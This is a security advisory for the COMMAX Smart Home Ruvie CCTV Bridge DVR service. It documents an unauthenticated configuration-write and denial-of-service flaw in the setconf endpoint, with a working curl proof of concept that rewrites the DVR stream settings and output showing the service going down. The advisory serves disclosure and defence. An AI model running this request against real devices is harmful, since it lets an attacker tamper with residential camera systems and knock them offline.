Below is a copy: COMMAX Smart Home Ruvie CCTV Bridge DVR Service Unauthenticated Config Write / DoS
COMMAX Smart Home Ruvie CCTV Bridge DVR Service Unauthenticated Config Write / DoS
Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: n/a
Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
complex that provides advanced life values and safety.
Desc: The application allows an unauthenticated attacker to change the configuration
of the DVR arguments and/or cause denial-of-service scenario through the setconf endpoint.
Tested on: GoAhead-Webs
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5666
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5666.php
02.08.2021
--
#1
$ curl -X POST http://192.168.1.1:8086/goform/setconf --data"manufacturer=Commax&Ch0=0&dvr0=rtsp%3A%2F%2Fadmin%3A1234zeroscience.mk%3A554%2FStream%2FCh01%3A554&dvr1=&dvr2=&dvr3=&dvr4=&dvr5=&dvr6=&dvr7=&dvr8=&dvr9=&dvr10=&dvr11=&dvr12=&dvr13=&dvr14=&dvr15=&dvr16=&dvr17=&dvr18=&dvr19=&dvr20=&dvr21=&dvr22=&dvr23=&ok=OK"
* Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 8086 (#0)
> POST /goform/setconf HTTP/1.1
> Host: 192.168.1.1:8086
> User-Agent: curl/7.55.1
> Accept: */*
> Content-Length: 257
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 257 out of 257 bytes
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-control: no-cache
< Content-Type: text/html
<
<html>
<br><br><center><table><tr><td>Completed to change configuration! Restart in 10 seconds</td></tr></table></center></body></html>
* Closing connection 0
#2
$ curl -v http://192.168.1.1:8086
* Rebuilt URL to: http://192.168.1.1:8086/
* Trying 192.168.1.1...
* TCP_NODELAY set
* connect to 192.168.1.1 port 8086 failed: Connection refused
* Failed to connect to 192.168.1.1 port 8086: Connection refused
* Closing connection 0
curl: (7) Failed to connect to 192.168.1.1 port 8086: Connection refused
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum